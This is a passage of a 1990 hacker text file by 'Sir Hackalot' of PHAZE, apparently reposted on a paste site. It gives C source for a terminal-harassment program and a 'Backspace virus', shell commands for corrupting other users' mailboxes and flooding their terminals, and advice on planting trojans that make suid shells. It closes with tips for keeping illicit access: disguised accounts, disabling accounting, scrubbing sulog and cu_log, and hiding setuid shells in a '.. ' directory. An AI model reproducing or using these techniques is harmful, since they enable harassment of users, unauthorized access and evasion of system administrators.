  1759. mytty = ttyname(2);
  1760. if (mytty == NULL) {
  1761. printf("Can't find your tty\n");
  1762. exit(1);
  1763. }
  1764. if (stat(mytty, &stbuf) < 0) {
  1765. printf("Can't stat your tty -- This System is bogus.\n");
  1766. }
  1767. if ((stbuf.st_mode&02) == 0) {
  1768. printf("You have write permissions turned off (hehe!).\n");
  1769. }
  1770.  
  1771. if (histtya) {
  1772. if (!strncmp(histtya, "/dev/", 5))
  1773. histtya = strrchr(histtya, '/') + 1;
  1774. strcpy(histty, "/dev/");
  1775. strcat(histty, histtya);
  1776. }
  1777. while (fread((char *)&ubuf, sizeof(ubuf), 1, uf) == 1) {
  1778. if (ubuf.ut_name[0] == '\0')
  1779. continue;
  1780. if (!strncmp(ubuf.ut_name, him, NMAX)) {
  1781. logcnt++;
  1782. if (histty[0]==0) {
  1783. strcpy(histty, "/dev/");
  1784. strcat(histty, ubuf.ut_line);
  1785. }
  1786. if (histtya) {
  1787. if (!strcmp(ubuf.ut_line, histtya))
  1788. goodtty++;
  1789. }
  1790. }
  1791. }
  1792. fclose(uf);
  1793. if (logcnt==0) {
  1794. printf("%s not found! (Not logged in?)\n", him);
  1795. exit(1);
  1796. }
  1797.  
  1798. if (histtya==0 && logcnt > 1) {
  1799. printf("%s logged more than once\nwriting to %s\n", him, histty+5);
  1800. }
  1801. if (access(histty, 0) < 0) {
  1802. printf("No such tty? [%s]\n",histty);
  1803. exit(1);
  1804. }
  1805. signal(SIGALRM, timout);
  1806. alarm(5);
  1807. if ((tf = fopen(histty, "w")) == NULL)
  1808. goto perm;
  1809. alarm(0);
  1810. if (fstat(fileno(tf), &stbuf) < 0)
  1811. goto perm;
  1812. if (geteuid() != 0 && (stbuf.st_mode&02) == 0)
  1813. goto perm;
  1814. ioctl(0, TCGETA, &oldmode); /* save tty state */
  1815. ioctl(0, TCGETA, &mode);
  1816. sigs(eof);
  1817. uname(&name);
  1818. if (strcmp(him,"YOURNAMEHERE") == 0) yn = 1;
  1819. if (yn == 1 ) {
  1820. fprintf(tf, "\r(%s attempted to HOSE You with NW)\r\n",me);
  1821. fclose(tf);
  1822. printf("Critical Error Handler: %s running conflicting process\n",him);
  1823. exit(1);
  1824. }
  1825. fflush(tf);
  1826. mode.c_cc[4] = 1;
  1827. mode.c_cc[5] = 0;
  1828. mode.c_lflag &= ~ICANON;
  1829. ioctl(0, TCSETAW, &mode);
  1830. lastc = '\n';
  1831.  
  1832.  
  1833. printf("Backspace / Spin Cursor set lose on: %s\n",him);
  1834. while (loop == 0) {
  1835. c1 = '\b';
  1836. write(fileno(tf),&c1,1);
  1837. sleep(5);
  1838. fprintf(tf,"\\\b|\b/\b-\b+\b");
  1839. fflush(tf);
  1840. }
  1841.  
  1842.  
  1843.  
  1844.  
  1845. perm:
  1846. printf("Write Permissions denied!\n");
  1847. exit(1);
  1848. }
  1849.  
  1850. timout()
  1851. {
  1852.  
  1853. printf("Timeout opening their tty\n");
  1854. exit(1);
  1855. }
  1856.  
  1857. eof()
  1858. {
  1859. printf("Bye..\n");
  1860. ioctl(0, TCSETAW, &oldmode);
  1861. exit(0);
  1862. }
  1863.  
  1864. ex()
  1865. {
  1866. register i;
  1867. sigs(SIG_IGN);
  1868. i = fork();
  1869. if (i < 0) {
  1870. printf("Try again\n");
  1871. goto out;
  1872. }
  1873. if (i == 0) {
  1874. sigs((int (*)())0);
  1875. execl(getenv("SHELL")?getenv("SHELL"):"/bin/sh","sh","-t",0);
  1876. exit(0);
  1877. }
  1878. while(wait((int *)NULL) != i)
  1879. ;
  1880. printf("!\n");
  1881. out:
  1882. sigs(eof);
  1883. }
  1884.  
  1885. sigs(sig)
  1886. int (*sig)();
  1887. {
  1888. register i;
  1889. for (i=0; signum[i]; i++)
  1890. signal(signum[i], sig);
  1891. }
  1892.  
  1893.  
  1894.  
  1895. What the above is, is a modified version of the standard write command.
  1896. What it does, is spin the cursor once, then backspace once over the
  1897. screen of the user it is run on. All though, it does not physically affect
  1898. input, the user thinks it does. therefore, he garbles input. The sleep(xx)
  1899. can be changed to make the stuff happen more often, or less often.
  1900. If you put your login name in the "YOURNAMEHERE" slot, it will protect you
  1901. from getting hit by it, if someone off a Public access unix leeches the
  1902. executable from your directory.
  1903. You could make a shorter program that does almost the same thing, but
  1904. you have to supply the terminal, observe:
  1905.  
  1906. /* Backspace virus, by Sir Hackalot [Phaze] */
  1907. #include <stdio.h>
  1908. #include <fcntl.h>
  1909. main(argc,argv)
  1910. char *argv[];
  1911. int argc;
  1912. {
  1913. int x = 1;
  1914. char *device = "/dev/";
  1915. FILE *histty;
  1916. if (argc == 1) {
  1917. printf("Bafoon. Supply a TTY.\n");
  1918. exit(1);
  1919. }
  1920. strcat(device,argv[1]);
  1921. /* Make the filename /dev/tty.. */
  1922. histty = fopen(device,"a");
  1923. if (histty == NULL) {
  1924. printf("Error opening/writing to tty. Check their perms.\n");
  1925. exit(1);
  1926. }
  1927. printf("BSV - Backspace virus, By Sir Hackalot.\n");
  1928. printf("The Sucker on %s is getting it!\n",device);
  1929. while (x == 1) {
  1930. fprintf(histty,"\b\b");
  1931. fflush(histty);
  1932. sleep(5);
  1933. }
  1934. }
  1935.  
  1936. Thats all there is to it. If you can write to their tty, you can use this on
  1937. them. It sends two backspaces to them every approx. 5 seconds. You
  1938. should run this program in the background. (&). Here is an example:
  1939.  
  1940. $ who
  1941. sirhack tty11
  1942. loozer tty12
  1943. $ bsv tty12&
  1944. [1] 4566
  1945. BSV - Backspace virus, by Sir Hackalot
  1946. The Sucker on /dev/tty12 is getting it!
  1947. $
  1948.  
  1949. Now, it will keep "attacking" him, until he loggs of, or you kill the process
  1950. (which was 4566 -- when you use &, it gives the pid [usually]).
  1951.  
  1952. ** Note *** Keep in mind that MSDOS, and other OP systems use The CR/LF
  1953. method to terminate a line. However, the LF terminates a line in Unix.
  1954. you must STRIP CR's on an ascii upload if you want something you upload
  1955. to an editor to work right. Else, you'll see a ^M at the end of every
  1956. line. I know that sucks, but you just have to compensate for it.
  1957.  
  1958. I have a number of other programs that annoy users, but that is enough to
  1959. get your imagination going, provided you are a C programmer. You can annoy
  1960. users other ways. One thing you can do is screw up the user's mailbox.
  1961. The way to do this is to find a binary file (30k or bigger) on the system
  1962. which YOU have access to read. then, do this:
  1963.  
  1964. $ cat binary_file | mail loozer
  1965.  
  1966. or
  1967.  
  1968. $ mail loozer < binary file
  1969.  
  1970. That usually will spilt into 2 messages or more. The 1st message will
  1971. have a from line.. (from you ..), but the second WILL NOT! Since it does
  1972. not, the mail reader will keep exiting and giving him an error message until
  1973. it gets fixed.. The way to fix it is to go to the mail box that got hit
  1974. with this trick (usually only the one who got hit (or root) and do this),
  1975. and edit the file, and add a from line.. like
  1976. From username..
  1977.  
  1978. then it will be ok. You can screw the user by "cat"ing a binary to his tty.
  1979. say Loozer is on tty12. You can say..
  1980. $ cat binary_file >/dev/tty12
  1981. $
  1982. It may pause for a while while it outputs it. If you want to resume what
  1983. you were doing instantly, do:
  1984. $ cat binary_file >/dev/tty12&
  1985. [1] 4690
  1986. $
  1987. And he will probably logoff. You can send the output of anything to his
  1988. terminal. Even what YOU do in shell. Like this:
  1989. $ sh >/dev/tty12
  1990. $
  1991. You'll get your prompts, but you won't see the output of any commands, he
  1992. will...
  1993. $ ls
  1994. $ banner Idiot!
  1995. $ echo Dumbass!
  1996. $
  1997. until you type in exit, or hit ctrl-d.
  1998.  
  1999.  
  2000. There are many many things you can do. You can fake a "write" to someone
  2001. and make them think it was from somewhere on the other side of hell. Be
  2002. creative.
  2003.  
  2004. When you are looking for things to do, look for holes, or try to get
  2005. someone to run a trojan horse that makes a suid shell. If you get
  2006. someone to run a trojan that does that, you can run the suid, and log their
  2007. ass off by killing their mother PID. (kill -9 whatever). Or, you can
  2008. lock them out by adding "kill -1 0" to their .profile. On the subject of
  2009. holes, always look for BAD suid bits. On one system thought to be invincible
  2010. I was able to read/modify everyone's mail, because I used a mailer that had
  2011. both the GroupID set, and the UserID set. When I went to shell from it,
  2012. the program instantly changed my Effective ID back to me, so I would not be
  2013. able to do anything but my regular stuff. But it was not designed to change
  2014. the GROUP ID back. The sysop had blundered there. SO when I did an ID
  2015. I found my group to be "Mail". Mailfiles are readble/writeable by the
  2016. user "mail", and the group "mail". I then set up a sgid (set group id) shell
  2017. to change my group id to "mail" when I ran it, and scanned important mail,
  2018. and it got me some good info. So, be on the look out for poor permissions.
  2019.  
  2020. Also, after you gain access, you may want to keep it. Some tips on doing so
  2021. is:
  2022. 1. Don't give it out. If the sysadm sees that joeuser logged in 500
  2023. times in one night....then....
  2024. 2. Don't stay on for hours at a time. They can trace you then. Also
  2025. they will know it is irregular to have joeuser on for 4 hours
  2026. after work.
  2027. 3. Don't trash the system. Don't erase important files, and don't
  2028. hog inodes, or anything like that. Use the machine for a specific
  2029. purpose (to leech source code, develop programs, an Email site).
  2030. Dont be an asshole, and don't try to erase everything you can.
  2031. 4. Don't screw with users constantly. Watch their processes and
  2032. run what they run. It may get you good info (snoop!)
  2033. 5. If you add an account, first look at the accounts already in there
  2034. If you see a bunch of accounts that are just 3 letter abbrv.'s,
  2035. then make yours so. If a bunch are "cln, dok, wed" or something,
  2036. don't add one that is "joeuser", add one that is someone's
  2037. full initials.
  2038.  
  2039. 6. When you add an account, put a woman's name in for the
  2040. description, if it fits (Meaning, if only companies log on to the
  2041. unix, put a company name there). People do not suspect hackers
  2042. to use women's names. They look for men's names.
  2043. 7. Don't cost the Unix machine too much money. Ie.. don't abuse an
  2044. outdial, or if it controls trunks, do not set up a bunch of dial
  2045. outs. If there is a pad, don't use it unless you NEED it.
  2046. 8. Don't use x.25 pads. Their usage is heavily logged.
  2047. 9. Turn off acct logging (acct off) if you have the access to.
  2048. Turn it on when you are done.
  2049. 10. Remove any trojan horses you set up to give you access when you
  2050. get access.
  2051. 11. Do NOT change the MOTD file to say "I hacked this system" Just
  2052. thought I'd tell you. Many MANY people do that, and lose access
  2053. within 2 hours, if the unix is worth a spit.
  2054. 12. Use good judgement. Cover your tracks. If you use su, clean
  2055. up the sulog.
  2056. 13. If you use cu, clean up the cu_log.
  2057. 14. If you use the smtp bug (wizard/debug), set up a uid shell.
  2058. 15. Hide all suid shells. Here's how:
  2059. goto /usr
  2060. (or any dir)
  2061. do:
  2062. # mkdir ".. "
  2063. # cd ".. "
  2064. # cp /bin/sh ".whatever"
  2065. # chmod a+s ".whatever"
  2066. The "" are NEEDED to get to the directory .. ! It will not show
  2067. up in a listing, and it is hard as hell to get to by sysadms if
  2068. you make 4 or 5 spaces in there (".. "), because all they will
  2069. see in a directory FULL list will be .. and they won't be able to
  2070. get there unless they use "" and know the spacing. "" is used
  2071. when you want to do literals, or use a wildcard as part of a file
  2072. name.
  2073. 16. Don't hog cpu time with password hackers. They really don't work
  2074. well.
  2075.  
  2076. 17. Don't use too much disk space. If you archieve something to dl,
  2077. dl it, then kill the archieve.
  2078. 18. Basically -- COVER YOUR TRACKS.
  2079.  
  2080. Some final notes:
  2081.  
  2082. Now, I hear lots of rumors and stories like "It is getting harder to get
  2083. into systems...". Wrong. (Yo Pheds! You reading this??). It IS true
  2084. when you are dealing with WAN's, such as telenet, tyment, and the Internet,
  2085. but not with local computers not on those networks. Here's the story:
  2086.  
  2087. Over the past few years, many small companies have sprung up as VARs
  2088. (Value Added Resellers) for Unix and Hardware, in order to make a fast
  2089. buck. Now, these companies fast talk companies into buying whatever,
  2090. and they proceed in setting up the Unix. Now, since they get paid by
  2091. the hour usaually when setting one up, they spread it out over days....
  2092. during these days, the system is WIDE open (if it has a dialin). Get
  2093. in and add yourself to passwd before the seal it off (if they do..).
  2094. Then again, after the machine is set up, they leave the defaults on the
  2095. system. Why? The company needs to get in, and most VARs cannot use
  2096. unix worth a shit, all they know how to do is set it up, and that is ALL.
  2097. Then, they turn over the system to a company or business that USUALLY
  2098. has no-one that knows what they hell they are doing with the thing, except
  2099. with menus. So, they leave the system open to all...(inadvertedly..),
  2100. because they are not competant. So, you could usually get on, and create
  2101. havoc, and at first they will think it is a bug.. I have seen this
  2102. happen ALL to many times, and it is always the same story...
  2103. The VAR is out for a fast buck, so they set up the software (all they know
  2104. how to do), and install any software packages ordered with it (following
  2105. the step by step instructions). Then they turn it over to the business
  2106. who runs a word processor, or database, or something, un aware that a
  2107. "shell" or command line exists, and they probably don't even know root does.
  2108. So, we will see more and more of these pop up, especially since AT&T is
  2109. now bundling a version of Xwindows with their new System V, and Simultask...
  2110. which will lead to even more holes. You'll find systems local to you
  2111. that are easy as hell to get into, and you'll see what I mean. These
  2112. VARs are really actually working for us. If a security problem arises
  2113. that the business is aware of, they call the VAR to fix it... Of course,
  2114. the Var gets paid by the hour, and leaves something open so you'll get in
  2115. again, and they make more moolahhhh.
  2116.  
  2117.  
  2118. You can use this phile for whatever you want. I can't stop you. Just
  2119. to learn unix (heh) or whatever. But its YOUR ass if you get caught.
  2120. Always consider the penalties before you attempt something. Sometimes
  2121. it is not worth it, Sometimes it is.
  2122.  
  2123. This phile was not meant to be comprehensive, even though it may seem like
  2124. it. I have left out a LOT of techniques, and quirks, specifically to get
  2125. you to learn SOMETHING on your own, and also to retain information so
  2126. I will have some secrets. You may pass this file on, UNMODIFIED, to any
  2127. GOOD H/P BBS. Sysops can add things to the archieve to say where
  2128. it was DL'd from, or to the text viewer for the same purpose. This is
  2129. Copywrited (haha) by Sir Hackalot, and by PHAZE, in the year 1990.
  2130.  
  2131. -Sir Hackalot of PHAZE
  2132. 1990.
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement